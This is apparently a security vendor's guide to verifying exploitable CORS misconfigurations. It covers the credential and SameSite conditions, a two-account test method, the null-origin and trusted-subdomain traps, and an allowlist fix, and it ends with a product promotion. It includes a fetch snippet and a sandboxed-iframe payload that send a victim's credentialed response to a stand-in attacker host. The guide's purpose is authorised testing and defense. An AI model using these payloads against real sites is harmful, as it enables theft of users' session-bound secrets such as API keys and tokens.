A reflected Origin is not proof: verifying an exploitable CORS misconfiguration
A scanner reporting that a site echoes your Origin back in Access-Control-Allow-Origin finds the easy part — on its own it proves almost nothing. A practitioner's guide to telling a cosmetic CORS reflection apart from a real cross-origin data theft, verifying an exploitable misconfiguration with a controlled two-account read that never touches a real user, the null-origin and trusted-subdomain traps that catch testers out, and the allowlist defenses that hold — grounded in the CORS rules documented by MDN, PortSwigger and OWASP.
By The Xalgorix Team
The find takes seconds. You add an Origin: https://evil.example header to a request, the response comes back carrying Access-Control-Allow-Origin: https://evil.example, and a scanner flags a CORS misconfiguration. The reflex is to write “arbitrary origin reflection” in the report and move on — and that reflex is wrong often enough to get findings bounced. A reflected Origin is a hint, not a bug. The valuable, harder work is proving that a script on an origin you control can read a response that belongs to someone else's authenticated session — because that, and only that, is what a CORS misconfiguration actually costs.
What CORS actually relaxes
The same-origin policy never stopped your browser from sending a cross-origin request; it stops the calling page from reading the response. Cross-Origin Resource Sharing is the server's way to opt specific foreign origins into that read. Two response headers carry the whole decision. MDN's CORS guide describes them precisely: Access-Control-Allow-Origin names the one origin allowed to read the response, and for any request that carries credentials the browser “will reject any response that does not have the Access-Control-Allow-Credentials header set to true.”
That second header is the hinge. “Credentials” here means cookies, HTTP authentication headers, and TLS client certificates — the things that make a response personal. A cross-origin fetch() only sends them when the caller sets credentials: "include", and the browser only hands the response back if the server answered with Access-Control-Allow-Credentials: true. Without that, an attacker's script is limited to whatever an unauthenticated request returns.
Why a reflected Origin is not proof
Reflection means the server echoed your Origin into Access-Control-Allow-Origin without checking it against an allowlist. That is a real misconfiguration — but whether it is exploitable depends on facts the header alone never shows. At least four everyday situations produce a reflected origin that is not a data-theft bug:
- No credentials are allowed. The origin is reflected but
Access-Control-Allow-Credentialsis absent. The browser will not expose a credentialed response to the attacker's script, so it reads only what an anonymous request returns — usually public data or an error. - The response holds nothing sensitive. A reflected origin on an endpoint that returns a public product list or a static config exposes a public product list. Access to non-secrets is not a finding.
- You never crossed the boundary. Reading the response from the same origin, replaying the session cookie yourself in
curl, or just seeing the header in a proxy proves nothing — none of those is the browser handing a foreign origin a credentialed response. The bug is precisely that cross-origin, browser-enforced read, which you can demonstrate with your own test account (below); it does not need a second user's data. - The wildcard self-destructs with credentials. A server that sends
Access-Control-Allow-Origin: *together with credentials is not a vulnerability — it is a broken config. MDN is explicit: for a credentialed request the server “must specify an origin in the value of theAccess-Control-Allow-Originheader, instead of specifying the*wildcard,” and if it sends*anyway “the browser will block access to the response.”
The combination that is exploitable
A CORS misconfiguration turns exploitable only when several conditions line up — three on the server: it reflects (or otherwise allows) an origin the attacker controls; it returns Access-Control-Allow-Credentials: true; and the endpoint returns data bound to the victim's session — an API key, a CSRF token, account details, anything private. PortSwigger's guidance on the class puts the stakes plainly: when an application reflects arbitrary origins in the Access-Control-Allow-Origin header with credentials enabled, a malicious site can retrieve sensitive data such as API keys or CSRF tokens. On the wire, the dangerous pair looks like this:
GET /api/account HTTP/1.1
Host: target.example
Origin: https://evil.attacker
Cookie: session=<the victim's session cookie>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.attacker <- reflected, not allowlisted
Access-Control-Allow-Credentials: true <- credentialed reads permitted
Content-Type: application/json
{"email":"ceo@target.example","apiKey":"sk-live-9f3a...","csrfToken":"8c1d..."}Both headers together are necessary. Reflect the origin without Access-Control-Allow-Credentials: true and the browser refuses to expose the credentialed response; send true but allowlist only your real app, and the attacker's origin never passes. The report has to show both, against an endpoint whose body is worth stealing.
One browser-side prerequisite sits underneath all three, and it is where most “CORS bugs” quietly die: the victim's session cookie has to actually ride the request. A cookie set SameSite=Lax — the modern browser default — or SameSite=Strict is not sent on a cross-site request, so a credentialed fetch() from a genuinely unrelated attacker origin like evil.attacker carries no cookie even with credentials: "include", and the misconfiguration stays unexploitable unless the cookie is SameSite=None; Secure.
Mind the boundary, though: it is the site (the registrable domain), not the origin. A request from an attacker-controlled sibling subdomain — evil.example.com to api.example.com — is cross-origin but same-site, so Lax and Strict cookies do ride it, and a permissive CORS policy there is exploitable without SameSite=None. That is one reason the trusted-subdomain trap below bites so hard. So reading the cookie's SameSite attribute — and deciding whether your attacker position is same-site or cross-site — is part of verifying, not an afterthought.
Verifying it safely: the two-account read
The clean proof is the same differential used to confirm an IDOR, moved into the browser. Own both sides: provision two independent test accounts on an environment you are authorised to test, and host a small page on an origin you control. Log the browser in as Account B, then load your page and have its script make a credentialed, cross-origin read of Account B's own sensitive endpoint. If your foreign-origin script receives B's real secret, the browser performed a cross-origin credentialed read that the same-origin policy would normally forbid — that is the vulnerability, demonstrated end to end, with no real user involved.
// Served from https://evil.attacker — a page you control.
// The browser is logged in to target.example as TEST ACCOUNT B.
fetch("https://target.example/api/account", { credentials: "include" })
.then((r) => r.text())
.then((body) => {
// This callback only runs with B's private body if the browser
// ALLOWED a cross-origin credentialed read. That is the proof.
navigator.sendBeacon("https://evil.attacker/log", body);
})
.catch(() => {
// Blocked by CORS (no ACAC: true, or your origin not allowed).
// Not exploitable as a credentialed cross-origin read.
});Read-only, your own data, a single endpoint: the blast radius is a secret you already own landing in a log you already own. Never point the credentialed read at a real user's session, and never widen it into writes. The verdict is binary and needs no interpretation — either the foreign origin got the body, or the browser refused.
The null-origin and trusted-origin traps
Two patterns catch testers out. The first is an allowlist that trusts the literal value null — often added for local development. A browser sends Origin: null in more cases than people expect: cross-origin redirects, documents from a data: URL, the file: protocol, and sandboxed cross-origin frames. That last case is the attacker's way in. PortSwigger's null-origin lab shows the trick: a sandboxed iframe with no allow-same-origin token gets an opaque origin, so its requests carry Origin: null and satisfy the allowlist.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function () {
location = 'https://evil.attacker/log?d=' + encodeURIComponent(this.responseText);
};
xhr.open('GET', 'https://target.example/api/account', true);
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>The second trap is transitive trust. A correctly scoped allowlist still inherits every weak origin on it: if a trusted subdomain carries an XSS flaw, or is served over plain HTTP where a network attacker can forge a response, that origin can make the credentialed CORS request on the attacker's behalf. The CORS policy is sound; the trust placed in the origin is not. Verifying either case means the same thing — actually making the cross-origin, credentialed read succeed from the untrusted position, not just observing that null or the subdomain appears in the response header.
CORS is not a CSRF defense
One confusion is worth killing directly, because it sends reports in both wrong directions. A permissive CORS policy does not create CSRF, and a strict one does not prevent it. CORS governs whether a foreign origin may read a response; CSRF is about a state-changing request being sent and processed, whether or not anyone reads the reply. PortSwigger states it outright: CORS “is not a protection against cross-origin attacks such as cross-site request forgery (CSRF).” OWASP makes the complementary point — the Origin header can be spoofed outside a browser, so it is never a substitute for server-side authorization. Keep your anti-CSRF tokens; they are solving a different problem.
The fix that holds
The defense is an explicit allowlist, server-side, with credentials granted only to origins you named yourself. Reflect an incoming Origin only after confirming it is a member of that set; for anything else, emit no Access-Control-Allow-Origin at all and let the browser block the read.
const ALLOWED = new Set([
"https://app.example",
"https://admin.example",
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
// Set this on EVERY response, not just allowed ones: the response depends on
// Origin either way, so a shared cache must key on it. Omit it on the no-match
// path and a cache can store a no-CORS response and replay it to an allowed origin.
res.setHeader("Vary", "Origin");
if (origin && ALLOWED.has(origin)) {
res.setHeader("Access-Control-Allow-Origin", origin); // exact match only
res.setHeader("Access-Control-Allow-Credentials", "true");
}
// No match -> no ACAO header. Never reflect arbitrary origins, never "null", never "*".
next();
});A few rules make that middleware correct rather than merely plausible. Match origins exactly — a naive startsWith or a loose regex that accepts app.example.evil.com reopens the hole. Set Vary: Origin on every response whose CORS headers depend on the request's origin — not only the ones that pass the allowlist, or a shared cache can store the no-CORS response and replay it to an allowed origin; MDN notes the same header keeps a shared cache from serving one origin's response to another. Never pair * with credentials, and for a credentialed response do not wildcard Access-Control-Allow-Headers or Access-Control-Allow-Methods either — MDN requires an explicit list there too. And keep the real controls: CORS decides who may read a response, never whether the data inside it should have been reachable at all.
Origin header is a lead, not a loss. The bug exists only when a script on an origin you do not control can read a response tied to someone's session — so prove it by making exactly that read succeed from an origin you own, against accounts you own, and report the body it returned. That is the distance between “the header looks wrong” and proof.Ready to see it prove a bug?
Start scanning on Cloud →